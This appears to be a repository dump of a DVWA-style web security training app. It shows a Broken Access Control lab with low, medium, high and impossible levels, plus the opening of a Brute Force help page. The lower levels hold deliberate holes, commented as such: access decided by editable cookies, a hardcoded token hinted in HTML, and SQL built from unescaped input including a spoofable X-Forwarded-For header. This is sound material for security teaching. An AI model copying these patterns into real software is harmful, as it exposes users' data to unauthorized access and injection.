class='log-container'>\";\n$html .= \"<h3>Access Log</h3>\";\n\n// Get logs from the bac_log table\n$log_query = \"SELECT l.id, l.user_id, l.target_id, l.ip_address, l.timestamp, \n                 u1.user as accessor_user, u2.user as target_user \n                 FROM bac_log l \n                 LEFT JOIN users u1 ON l.user_id = u1.user_id \n                 LEFT JOIN users u2 ON l.target_id = u2.user_id \n                 ORDER BY l.timestamp DESC LIMIT 50\";\n\n$log_result = mysqli_query($GLOBALS[\"___mysqli_ston\"], $log_query);\n\nif ($log_result && mysqli_num_rows($log_result) > 0) {\n    $html .= \"<table class='log-table'>\";\n    $html .= \"<tr><th>ID</th><th>Accessor</th><th>Target</th><th>IP Address</th><th>Timestamp</th></tr>\";\n\n    while ($log = mysqli_fetch_assoc($log_result)) {\n        $target_user = $log['target_user'] ? $log['target_user'] : 'Non-existent User (ID: ' . $log['target_id'] . ')';\n\n        $html .= \"<tr>\";\n        $html .= \"<td>{$log['id']}</td>\";\n        $html .= \"<td>{$log['accessor_user']} (ID: {$log['user_id']})</td>\";\n        $html .= \"<td>{$target_user}</td>\";\n        $html .= \"<td>{$log['ip_address']}</td>\";\n        $html .= \"<td>{$log['timestamp']}</td>\";\n        $html .= \"</tr>\";\n    }\n\n    $html .= \"</table>\";\n} else {\n    $html .= \"<p>No access logs found.</p>\";\n}\n\n$html .= \"</div>\";\n\n// Load the vulnerability content\n$vulnerabilityFile = '';\n$securityLevel = dvwaSecurityLevelGet();\nswitch ($securityLevel) {\n    case 'low':\n        $vulnerabilityFile = 'low.php';\n        break;\n    case 'medium':\n        $vulnerabilityFile = 'medium.php';\n        break;\n    case 'high':\n        $vulnerabilityFile = 'high.php';\n        break;\n    default:\n        $vulnerabilityFile = 'impossible.php';\n        break;\n}\n\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/bac/source/{$vulnerabilityFile}\";\n\n// Add CSS for logs\n$page['body'] .= \"\n<style>\n    .log-container {\n        max-height: 400px;\n        overflow-y: auto;\n        margin-bottom: 20px;\n    }\n    .log-table {\n        width: 100%;\n        border-collapse: collapse;\n    }\n    .log-table th, .log-table td {\n        border: 1px solid #ddd;\n        padding: 8px;\n        text-align: left;\n    }\n    .log-table tr:nth-child(even) {\n        background-color: #f2f2f2;\n    }\n    .log-table th {\n        padding-top: 12px;\n        padding-bottom: 12px;\n        background-color: #4a4a4a;\n        color: white;\n    }\n    .info-banner {\n        background-color: #f8f9fa;\n        border: 1px solid #ddd;\n        padding: 8px;\n        margin-bottom: 15px;\n        border-radius: 4px;\n    }\n</style>\";\n\n$page['body'] .= \"\n<div class=\\\"body_padded\\\">\n    <h1>Vulnerability: Broken Access Control</h1>\n\n    <div class=\\\"vulnerable_code_area\\\">\n        \";\n\n$page['body'] .= \"\n        <h2>User Profile Access</h2>\n        <form action=\\\"#\\\" method=\\\"GET\\\">\n            <p>\n                View user profile by ID: \n                <input type=\\\"text\\\" name=\\\"user_id\\\" value=\\\"1\\\">\n                <input type=\\\"submit\\\" value=\\\"View Profile\\\" name=\\\"action\\\">\n            </p>\n        </form>\n        \n       \n        \n        {$html}\n       \";\n\n\n$page['body'] .= \"\n    </div>\n\n    <br />\n\n    <h2>More Information</h2>\n\t<ul>\n\t\t<li>\" . dvwaExternalLinkUrlGet('https://owasp.org/Top10/A01_2021-Broken_Access_Control/') . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet('https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema') . \"</li>\n\t</ul>\n</div>\";\n\ndvwaHtmlEcho($page);\n?>"
  },
  {
    "path": "vulnerabilities/bac/log_viewer.php",
    "content": ""
  },
  {
    "path": "vulnerabilities/bac/source/high.php",
    "content": "<?php\nif (!defined('DVWA_WEB_PAGE_TO_ROOT')) {\n    define('DVWA_WEB_PAGE_TO_ROOT', '../../../');\n}\n\n// Get current user's ID with prepared statement\n$query = \"SELECT user_id, role FROM users WHERE user = ? LIMIT 1\";\n$stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $query);\n$currentUser = dvwaCurrentUser();\nmysqli_stmt_bind_param($stmt, \"s\", $currentUser);\n\nmysqli_stmt_execute($stmt);\n$result = mysqli_stmt_get_result($stmt);\n$user_info = ($result && mysqli_num_rows($result) > 0) ? mysqli_fetch_assoc($result) : ['user_id' => 0, 'role' => ''];\n$current_user_id = intval($user_info['user_id']);\n$role = $user_info['role'];\nmysqli_stmt_close($stmt);\n\n// Better access control (but still vulnerable to session fixation)\n$html = \"\";\nif (isset($_GET['action']) && isset($_GET['user_id'])) {\n    if (!preg_match('/^\\d+$/', $_GET['user_id'])) {\n        $html .= \"<p>Invalid user ID format. Please enter a number.</p>\";\n    } else {\n        $id = intval($_GET['user_id']);\n\n        // Check if user exists first using prepared statement\n        $check_query = \"SELECT user_id FROM users WHERE user_id = ? LIMIT 1\";\n        $check_stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $check_query);\n        mysqli_stmt_bind_param($check_stmt, \"i\", $id);\n        mysqli_stmt_execute($check_stmt);\n        mysqli_stmt_store_result($check_stmt);\n        $user_exists = (mysqli_stmt_num_rows($check_stmt) > 0);\n        mysqli_stmt_close($check_stmt);\n\n        if (!$user_exists) {\n            $html .= \"<p>No user found with ID: {$id}</p>\";\n        } else {\n            // \"Secure\" session-based check (but vulnerable to session fixation)\n            if (isset($_SESSION['user_id'])) {\n                $session_id = intval($_SESSION['user_id']);\n\n                if ($id == $session_id) {\n                    // Access granted - using prepared statement\n                    $query = \"SELECT first_name, last_name, user_id, avatar FROM users WHERE user_id = ?\";\n                    $stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $query);\n                    mysqli_stmt_bind_param($stmt, \"i\", $id);\n                    mysqli_stmt_execute($stmt);\n                    $result = mysqli_stmt_get_result($stmt);\n\n                    if ($result && mysqli_num_rows($result) > 0) {\n                        $row = mysqli_fetch_assoc($result);\n                        $html .= \"\n                            <div class=\\\"profile-info\\\">\n                                <h3>User Profile</h3>\n                                <p>User ID: \" . htmlspecialchars($row['user_id'], ENT_QUOTES, 'UTF-8') . \"</p>\n                                <p>Name: \" . htmlspecialchars($row['first_name'], ENT_QUOTES, 'UTF-8') . \" \" .\n                            htmlspecialchars($row['last_name'], ENT_QUOTES, 'UTF-8') . \"</p>\n                                <p>Avatar: \" . htmlspecialchars($row['avatar'], ENT_QUOTES, 'UTF-8') . \"</p>\n                                <!-- Hint: Session management is better, but still vulnerable... -->\n                            </div>\";\n                    }\n                    mysqli_stmt_close($stmt);\n                } else {\n                    $html .= \"<p>Access denied. You can only view your own profile.</p>\";\n                }\n            } else {\n                $html .= \"<p>Access denied. No user_id in session.</p>\";\n            }\n        }\n\n        // Log access attempts with prepared statement\n        try {\n            // First check if the bac_log table exists\n            $check_table = \"SHOW TABLES LIKE 'bac_log'\";\n            $table_exists = mysqli_query($GLOBALS[\"___mysqli_ston\"], $check_table);\n\n            if ($table_exists && mysqli_num_rows($table_exists) == 0) {\n                // Create the table if it doesn't exist\n                $create_table = \"CREATE TABLE IF NOT EXISTS bac_log (\n                    id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n                    user_id INT(6) NULL,\n                    target_id INT(6) NULL,\n                    ip_address VARCHAR(50) NULL,\n                    action VARCHAR(50) NULL,\n                    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n                )\";\n                mysqli_query($GLOBALS[\"___mysqli_ston\"], $create_table);\n            }\n\n            // Log the access attempt with prepared statement\n            $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];\n            $target_id = $user_exists ? $id : 0; // Use 0 for non-existent users\n\n            $log_query = \"INSERT INTO bac_log (user_id, target_id, ip_address) VALUES (?, ?, ?)\";\n            $log_stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $log_query);\n            mysqli_stmt_bind_param($log_stmt, \"iis\", $current_user_id, $target_id, $ip);\n            mysqli_stmt_execute($log_stmt);\n            mysqli_stmt_close($log_stmt);\n        } catch (Exception $e) {\n            // Silently fail if logging doesn't work\n        }\n    }\n}\n\n// Set initial session if not exists\nif (!isset($_SESSION['user_id'])) {\n    $_SESSION['user_id'] = $current_user_id;\n}\n?>"
  },
  {
    "path": "vulnerabilities/bac/source/impossible.php",
    "content": "<?php\nif (!defined('DVWA_WEB_PAGE_TO_ROOT')) {\n    define('DVWA_WEB_PAGE_TO_ROOT', '../../../');\n}\nerror_reporting(E_ALL);\nini_set('display_errors', 1);\n\n// Initialize variables\n$html = \"\";\n$id = 0;\n$current_user_id = 0;\n\n// Most secure implementation with multiple layers of security\nif (isset($_GET['action']) && isset($_GET['user_id'])) {\n    // 1. Input Validation\n    if (!preg_match('/^\\d+$/', $_GET['user_id'])) {\n        $html .= \"<p>Invalid user ID format. Please enter a number.</p>\";\n    } else {\n        $id = intval($_GET['user_id']);\n\n        // 2. Get Current User with Prepared Statement\n        $query = \"SELECT user_id, role FROM users WHERE user = ? LIMIT 1\";\n        $stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $query);\n        if ($stmt) {\n            $current_user = dvwaCurrentUser();\n            mysqli_stmt_bind_param($stmt, \"s\", $current_user);\n            mysqli_stmt_execute($stmt);\n            $result = mysqli_stmt_get_result($stmt);\n\n            if ($result && mysqli_num_rows($result) > 0) {\n                $row = mysqli_fetch_assoc($result);\n                $current_user_id = intval($row['user_id']);\n                $user_role = $row['role'];\n                mysqli_stmt_close($stmt);\n                \n                // 3. Check if target user exists\n                $user_exists = false;\n                $check_query = \"SELECT user_id FROM users WHERE user_id = ? LIMIT 1\";\n                $check_stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $check_query);\n                if ($check_stmt) {\n                    mysqli_stmt_bind_param($check_stmt, \"i\", $id);\n                    mysqli_stmt_execute($check_stmt);\n                    mysqli_stmt_store_result($check_stmt);\n                    $user_exists = (mysqli_stmt_num_rows($check_stmt) > 0);\n                    mysqli_stmt_close($check_stmt);\n                    \n                    if (!$user_exists) {\n                        $html .= \"<p>No user found with ID: {$id}</p>\";\n                        // Log the attempt to access non-existent user\n                        logAccessAttempt($current_user_id, $id, 'non_existent_user_access');\n                    } else if (isRateLimitExceeded($current_user_id)) {\n                        // 4. Rate Limiting Check\n                        $html .= \"<p>Too many requests. Please try again later.</p>\";\n                    } else {\n                        // 5. Access Control Check\n                        $can_access = false;\n                        if ($current_user_id === $id) {\n                            $can_access = true; // Users can always view their own profile\n                        } \n                        // elseif ($user_role === 'admin') {\n                        //     $can_access = true; // Admins can view all profiles\n                        // }\n\n                        if ($can_access) {\n                            try {\n                                // Secure Data Retrieval\n                                $query = \"SELECT first_name, last_name, user_id, avatar \n                                            FROM users \n                                            WHERE user_id = ? \n                                            AND (user_id = ? OR ? = 'admin')\n                                            LIMIT 1\";\n\n                                $stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $query);\n\n                                if (!$stmt) {\n                                    $html .= \"<p>Database error: \" . mysqli_error($GLOBALS[\"___mysqli_ston\"]) . \"</p>\";\n                                } else {\n                                    $bind_success = mysqli_stmt_bind_param($stmt, \"iis\", $id, $current_user_id, $user_role);\n\n                                    if (!$bind_success) {\n                                        $html .= \"<p>Database error: \" . mysqli_stmt_error($stmt) . \"</p>\";\n                                    } else {\n                                        $execute_success = mysqli_stmt_execute($stmt);\n\n                                        if (!$execute_success) {\n                                            $html .= \"<p>Database error: \" . mysqli_stmt_error($stmt) . \"</p>\";\n                                        } else {\n                                            $result = mysqli_stmt_get_result($stmt);\n\n                                            if (!$result) {\n                                                $html .= \"<p>Database error: \" . mysqli_stmt_error($stmt) . \"</p>\";\n                                            } else if (mysqli_num_rows($result) > 0) {\n                                                $row = mysqli_fetch_assoc($result);\n\n                                                // Output Encoding\n                                                $html .= \"\n                                                <div class=\\\"profile-info\\\">\n                                                  <h3>User Profile</h3>\n                                                  <p>User ID: \" . htmlspecialchars($row['user_id'], ENT_QUOTES, 'UTF-8') . \"</p>\n                                                  <p>Name: \" . htmlspecialchars($row['first_name'], ENT_QUOTES, 'UTF-8') . \" \" .\n                                                                htmlspecialchars($row['last_name'], ENT_QUOTES, 'UTF-8') . \"</p>\n                                                  <p>Avatar: \" . htmlspecialchars($row['avatar'], ENT_QUOTES, 'UTF-8') . \"</p>\n                                                </div>\";\n\n                                                // Log Successful Access\n                                                logAccessAttempt($current_user_id, $id, 'view_profile_success');\n                                            } else {\n                                                $html .= \"<p>Access denied. Insufficient privileges.</p>\";\n                                                logSecurityEvent('access_denied', $id, $current_user_id);\n                                            }\n                                        }\n                                    }\n                                    mysqli_stmt_close($stmt);\n                                }\n                            } catch (Exception $e) {\n                                $html .= \"<p>An error occurred. Please try again later.</p>\";\n                                logSecurityEvent('system_error', $id, $current_user_id, $e->getMessage());\n                            }\n                        } else {\n                            $html .= \"<p>Access denied. Insufficient privileges.</p>\";\n                            logSecurityEvent('unauthorized_access', $id, $current_user_id);\n\n                            // Security Monitoring\n                            checkForSuspiciousActivity($current_user_id, $id);\n                        }\n                    }\n                } else {\n                    $html .= \"<p>Database error: \" . mysqli_error($GLOBALS[\"___mysqli_ston\"]) . \"</p>\";\n                }\n            } else {\n                $html .= \"<p>Authentication error.</p>\";\n                if (isset($stmt)) {\n                    mysqli_stmt_close($stmt);\n                }\n            }\n        } else {\n            $html .= \"<p>Database error: \" . mysqli_error($GLOBALS[\"___mysqli_ston\"]) . \"</p>\";\n        }\n    }\n}\n\n// Helper Functions\nfunction isRateLimitExceeded($user_id)\n{\n    $timeframe = 300; // 5 minutes\n    $max_attempts = 10;\n\n    // First check if the bac_log table exists\n    $check_table = \"SHOW TABLES LIKE 'bac_log'\";\n    $table_exists = mysqli_query($GLOBALS[\"___mysqli_ston\"], $check_table);\n    \n    if ($table_exists && mysqli_num_rows($table_exists) == 0) {\n        // Create the table if it doesn't exist\n        $create_table = \"CREATE TABLE IF NOT EXISTS bac_log (\n            id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n            user_id INT(6) NULL,\n            target_id INT(6) NULL,\n            ip_address VARCHAR(50) NULL,\n            action VARCHAR(50) NULL,\n            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n        )\";\n        mysqli_query($GLOBALS[\"___mysqli_ston\"], $create_table);\n    }\n\n    $query = \"SELECT COUNT(*) as attempt_count \n              FROM bac_log \n              WHERE user_id = ? \n              AND timestamp > DATE_SUB(NOW(), INTERVAL ? SECOND)\";\n\n    $stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $query);\n    if ($stmt) {\n        mysqli_stmt_bind_param($stmt, \"ii\", $user_id, $timeframe);\n        mysqli_stmt_execute($stmt);\n        $result = mysqli_stmt_get_result($stmt);\n        $row = mysqli_fetch_assoc($result);\n        mysqli_stmt_close($stmt);\n        return $row['attempt_count'] >= $max_attempts;\n    }\n    return false; // If there was an error, don't rate limit\n}\n\nfunction logAccessAttempt($user_id, $target_id, $action)\n{\n    // Ensure target_id is a valid integer\n    $target_id = intval($target_id);\n    \n    // Get IP address\n    $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];\n    \n    // First check if the bac_log table exists\n    $check_table = \"SHOW TABLES LIKE 'bac_log'\";\n    $table_exists = mysqli_query($GLOBALS[\"___mysqli_ston\"], $check_table);\n    \n    if ($table_exists && mysqli_num_rows($table_exists) == 0) {\n        // Create the table if it doesn't exist\n        $create_table = \"CREATE TABLE IF NOT EXISTS bac_log (\n            id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n            user_id INT(6),\n            target_id INT(6),\n            ip_address VARCHAR(50),\n            action VARCHAR(50),\n            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n        )\";\n        mysqli_query($GLOBALS[\"___mysqli_ston\"], $create_table);\n    }\n    \n    $query = \"INSERT INTO bac_log (user_id, target_id, ip_address, action) \n              VALUES (?, ?, ?, ?)\";\n    $stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $query);\n    if ($stmt) {\n        mysqli_stmt_bind_param($stmt, \"iiss\", $user_id, $target_id, $ip, $action);\n        mysqli_stmt_execute($stmt);\n        mysqli_stmt_close($stmt);\n    }\n}\n\nfunction logSecurityEvent($action, $target_id, $user_id, $details = '')\n{\n    // Ensure target_id is a valid integer\n    $target_id = intval($target_id);\n    \n    // Get IP address\n    $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];\n    \n    // First check if the bac_log table exists\n    $check_table = \"SHOW TABLES LIKE 'bac_log'\";\n    $table_exists = mysqli_query($GLOBALS[\"___mysqli_ston\"], $check_table);\n    \n    if ($table_exists && mysqli_num_rows($table_exists) == 0) {\n        // Create the table if it doesn't exist\n        $create_table = \"CREATE TABLE IF NOT EXISTS bac_log (\n            id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n            user_id INT(6),\n            target_id INT(6),\n            ip_address VARCHAR(50),\n            action VARCHAR(50),\n            details TEXT,\n            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n        )\";\n        mysqli_query($GLOBALS[\"___mysqli_ston\"], $create_table);\n    }\n    \n    // Check if details column exists\n    $check_column = \"SHOW COLUMNS FROM bac_log LIKE 'details'\";\n    $column_exists = mysqli_query($GLOBALS[\"___mysqli_ston\"], $check_column);\n    \n    if ($column_exists && mysqli_num_rows($column_exists) == 0) {\n        // Add details column if it doesn't exist\n        $add_column = \"ALTER TABLE bac_log ADD COLUMN details TEXT\";\n        mysqli_query($GLOBALS[\"___mysqli_ston\"], $add_column);\n    }\n    \n    $query = \"INSERT INTO bac_log (user_id, target_id, ip_address, action, details) \n              VALUES (?, ?, ?, ?, ?)\";\n    $stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $query);\n    if ($stmt) {\n        mysqli_stmt_bind_param($stmt, \"iisss\", $user_id, $target_id, $ip, $action, $details);\n        mysqli_stmt_execute($stmt);\n        mysqli_stmt_close($stmt);\n    }\n}\n\nfunction checkForSuspiciousActivity($user_id, $target_id)\n{\n    $timeframe = 3600; // 1 hour\n    $threshold = 5;\n\n    $query = \"SELECT COUNT(*) as attempt_count \n              FROM bac_log \n              WHERE user_id = ? \n              AND timestamp > DATE_SUB(NOW(), INTERVAL ? SECOND) \n              AND action = 'unauthorized_access'\";\n\n    $stmt = mysqli_prepare($GLOBALS[\"___mysqli_ston\"], $query);\n    if ($stmt) {\n        mysqli_stmt_bind_param($stmt, \"ii\", $user_id, $timeframe);\n        mysqli_stmt_execute($stmt);\n        $result = mysqli_stmt_get_result($stmt);\n        $row = mysqli_fetch_assoc($result);\n        mysqli_stmt_close($stmt);\n\n        if ($row['attempt_count'] >= $threshold) {\n            // Log high-severity security event\n            logSecurityEvent(\n                'suspicious_activity',\n                $target_id,\n                $user_id,\n                'Multiple unauthorized access attempts detected'\n            );\n        }\n    }\n}\n?>"
  },
  {
    "path": "vulnerabilities/bac/source/low.php",
    "content": "<?php\nif (!defined('DVWA_WEB_PAGE_TO_ROOT')) {\n    define('DVWA_WEB_PAGE_TO_ROOT', '../../../');\n}\n\n// Get current user's ID\n$query = \"SELECT user_id, role FROM users WHERE user = '\" . dvwaCurrentUser() . \"';\";\n$result = mysqli_query($GLOBALS[\"___mysqli_ston\"], $query);\n$row = ($result && mysqli_num_rows($result) > 0) ? mysqli_fetch_assoc($result) : array('user_id' => 0, 'role' => '');\n$current_user_id = intval($row['user_id']);\n$role = $row['role'];\n\n// Slightly better access control (but still vulnerable)\n$html = \"\";\nif (isset($_GET['action']) && isset($_GET['user_id'])) {\n    if (!preg_match('/^\\d+$/', $_GET['user_id'])) {\n        $html .= \"<p>Invalid user ID format. Please enter a number.</p>\";\n    } else {\n        $id = intval($_GET['user_id']);\n        \n        // Check if user exists first\n        $check_query = \"SELECT user_id FROM users WHERE user_id = $id\";\n        $check_result = mysqli_query($GLOBALS[\"___mysqli_ston\"], $check_query);\n        $user_exists = ($check_result && mysqli_num_rows($check_result) > 0);\n        \n        if (!$user_exists) {\n            $html .= \"<p>No user found with ID: {$id}</p>\";\n        } else {\n            // \"Secure\" check that's still vulnerable\n            if (isset($_COOKIE['user_id'])) {\n                $cookie_id = intval($_COOKIE['user_id']);\n                \n                if ($id == $cookie_id) {\n                    // Access granted\n                    $query = \"SELECT first_name, last_name, user_id, avatar FROM users WHERE user_id = $id;\";\n                    $result = mysqli_query($GLOBALS[\"___mysqli_ston\"], $query);\n                    \n                    if ($result && mysqli_num_rows($result) > 0) {\n                        $row = mysqli_fetch_assoc($result);\n                        $html .= \"\n                            <div class=\\\"profile-info\\\">\n                                <h3>User Profile</h3>\n                                <p>User ID: {$row['user_id']}</p>\n                                <p>Name: {$row['first_name']} {$row['last_name']}</p>\n                                <p>Avatar: {$row['avatar']}</p>\n                                <!-- Hint: Cookies can be modified by users... -->\n                            </div>\";\n                    }\n                } else {\n                    $html .= \"<p>Access denied. You can only view your own profile.</p>\";\n                }\n            } else {\n                $html .= \"<p>Access denied. No user_id cookie found.</p>\";\n            }\n        }\n        \n        // Log access attempts\n        try {\n            // First check if the bac_log table exists\n            $check_table = \"SHOW TABLES LIKE 'bac_log'\";\n            $table_exists = mysqli_query($GLOBALS[\"___mysqli_ston\"], $check_table);\n            \n            if ($table_exists && mysqli_num_rows($table_exists) == 0) {\n                // Create the table if it doesn't exist\n                $create_table = \"CREATE TABLE IF NOT EXISTS bac_log (\n                   id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n                    user_id INT(6) NULL,\n                    target_id INT(6) NULL,\n                    ip_address VARCHAR(50) NULL,\n                    action VARCHAR(50) NULL,\n                    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n                )\";\n                mysqli_query($GLOBALS[\"___mysqli_ston\"], $create_table);\n            }\n            \n            // Log the access attempt\n            $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];\n            $target_id = $user_exists ? $id : 0; // Use 0 for non-existent users\n            $log_query = \"INSERT INTO bac_log (user_id, target_id, ip_address) VALUES \n                        ({$current_user_id}, {$target_id}, '{$ip}')\";\n            mysqli_query($GLOBALS[\"___mysqli_ston\"], $log_query);\n        } catch (Exception $e) {\n            // Silently fail if logging doesn't work\n        }\n    }\n}\n\n// Show current user's role for context\n$role = isset($_COOKIE['user_role']) ? $_COOKIE['user_role'] : 'regular_user';\n$html .= \"<div class='info-banner'>Current Role: {$role}</div>\";\n\n// Set initial role cookie if not exists\nif (!isset($_COOKIE['user_role'])) {\n    setcookie('user_role', 'regular_user', time() + 3600, '/');\n}\n?>\n"
  },
  {
    "path": "vulnerabilities/bac/source/medium.php",
    "content": "<?php\nif (!defined('DVWA_WEB_PAGE_TO_ROOT')) {\n    define('DVWA_WEB_PAGE_TO_ROOT', '../../../');\n}\n\n// Get current user's ID\n$query = \"SELECT user_id FROM users WHERE user = '\" . dvwaCurrentUser() . \"';\";\n$result = mysqli_query($GLOBALS[\"___mysqli_ston\"], $query);\n$current_user_id = ($result && mysqli_num_rows($result) > 0) ? mysqli_fetch_assoc($result)['user_id'] : 0;\n\n// Basic attempt at access control (but easily bypassed)\n$html = \"\";\nif (isset($_GET['action']) && isset($_GET['user_id'])) {\n    if (!preg_match('/^\\d+$/', $_GET['user_id'])) {\n        $html .= \"<p>Invalid user ID format. Please enter a number.</p>\";\n    } else {\n        $id = $_GET['user_id'];\n        $user_exists = false;\n        \n        // Check if user exists first\n        $check_query = \"SELECT user_id FROM users WHERE user_id = '$id'\";\n        $check_result = mysqli_query($GLOBALS[\"___mysqli_ston\"], $check_query);\n        $user_exists = ($check_result && mysqli_num_rows($check_result) > 0);\n        \n        // \"Secure\" check that's easily bypassed\n        if (isset($_GET['token']) && $_GET['token'] == 'user_token') {\n            if ($user_exists) {\n                $query = \"SELECT first_name, last_name, user_id, avatar FROM users WHERE user_id = '$id';\";\n                $result = mysqli_query($GLOBALS[\"___mysqli_ston\"], $query);\n                \n                if ($result && mysqli_num_rows($result) > 0) {\n                    $row = mysqli_fetch_assoc($result);\n                    $html .= \"\n                        <div class=\\\"profile-info\\\">\n                            <h3>User Profile</h3>\n                            <p>User ID: {$row['user_id']}</p>\n                            <p>Name: {$row['first_name']} {$row['last_name']}</p>\n                            <p>Avatar: {$row['avatar']}</p>\n                            <!-- Hint: This token check isn't very secure... -->\n                        </div>\";\n                }\n            } else {\n                $html .= \"<p>No user found with ID: {$id}</p>\";\n            }\n        } else {\n            $html .= \"<p>Access denied. Valid token required. <!-- Try using token=user_token --></p>\";\n        }\n        \n        // Log access attempts\n        try {\n            // First check if the bac_log table exists\n            $check_table = \"SHOW TABLES LIKE 'bac_log'\";\n            $table_exists = mysqli_query($GLOBALS[\"___mysqli_ston\"], $check_table);\n            \n            if ($table_exists && mysqli_num_rows($table_exists) == 0) {\n                // Create the table if it doesn't exist\n                $create_table = \"CREATE TABLE IF NOT EXISTS bac_log (\n                    id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n                    user_id INT(6) NULL,\n                    target_id INT(6) NULL,\n                    ip_address VARCHAR(50) NULL,\n                    action VARCHAR(50) NULL,\n                    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n                )\";\n                mysqli_query($GLOBALS[\"___mysqli_ston\"], $create_table);\n            }\n            \n            // Log the access attempt - only log numeric target_id\n            $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];\n            $target_id = $user_exists ? $id : 0; // Use 0 for non-existent users\n            $log_query = \"INSERT INTO bac_log (user_id, target_id, ip_address) VALUES \n                        ({$current_user_id}, {$target_id}, '{$ip}')\";\n            mysqli_query($GLOBALS[\"___mysqli_ston\"], $log_query);\n        } catch (Exception $e) {\n            // Silently fail if logging doesn't work\n        }\n    }\n}\n?>"
  },
  {
    "path": "vulnerabilities/bac/source/view_source.php",
    "content": "<?php\nif (!defined('DVWA_WEB_PAGE_TO_ROOT')) {\n    define('DVWA_WEB_PAGE_TO_ROOT', '../../../');\n}\n\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaPageStartup(array('authenticated'));\n\n$page = dvwaPageNewGrab();\n$page[ 'title' ] = 'Source: Broken Access Control';\n\nswitch (dvwaSecurityLevelGet()) {\n    case 'low':\n        $page[ 'title' ] .= ' (Low)';\n        $file = 'low.php';\n        break;\n    case 'medium':\n        $page[ 'title' ] .= ' (Medium)';\n        $file = 'medium.php';\n        break;\n    case 'high':\n        $page[ 'title' ] .= ' (High)';\n        $file = 'high.php';\n        break;\n    default:\n        $page[ 'title' ] .= ' (Impossible)';\n        $file = 'impossible.php';\n        break;\n}\n\n$page[ 'title' ] .= $page[ 'title_separator' ].$page[ 'title' ];\n$page[ 'page_id' ] = 'source';\n\n$source = file_get_contents(DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/bac/source/{$file}\");\n\nif ($source !== false) {\n    $source = str_replace(array('<?php', '?>'), array('&lt;?php', '?&gt;'), $source);\n    $page[ 'body' ] .= \"\n        <div class=\\\"body_padded\\\">\n            <h1>Source: {$file}</h1>\n            <div class=\\\"vulnerable_code_area\\\">\n                <div class=\\\"code_title\\\">{$file}</div>\" . \n                highlight_string($source, true) . \"\n            </div>\n            <br />\n            <br />\n            <br />\n        </div>\";\n}\n\ndvwaSourceHtmlEcho($page);\n?>\n"
  },
  {
    "path": "vulnerabilities/brute/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Brute Force (Login)</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system.\r\n\t\t\tA common approach is to repeatedly try guesses for the password.</p>\r\n\r\n\t\t<p>Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, family names, any too short password\r\n\t\t\t(usually thought to be less than 6 or 7 characters), or predictable patterns\r\n\t\t\t(e.g. alternating vowels and consonants, which is known as leetspeak, so \"password\" becomes \"p@55w0rd\").</p>\r\n\r\n\t\t<p>Creating a targeted wordlists, which is generated towards the target, often gives the highest success rate. There are public tools out there that will create a dictionary\r\n\t\t\tbased on a combination of company websites, personal social networks and other common information (such as birthdays or year of graduation).\r\n\r\n\t\t<p>A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always\r\n\t\t\tbe successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords\r\n\t\t\tmaking the attack time longer.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords!</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>The developer has completely missed out <u>any protections methods</u>, allowing for anyone to try as many times as they wish, to login to any user without any repercussions.</p>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before the page is 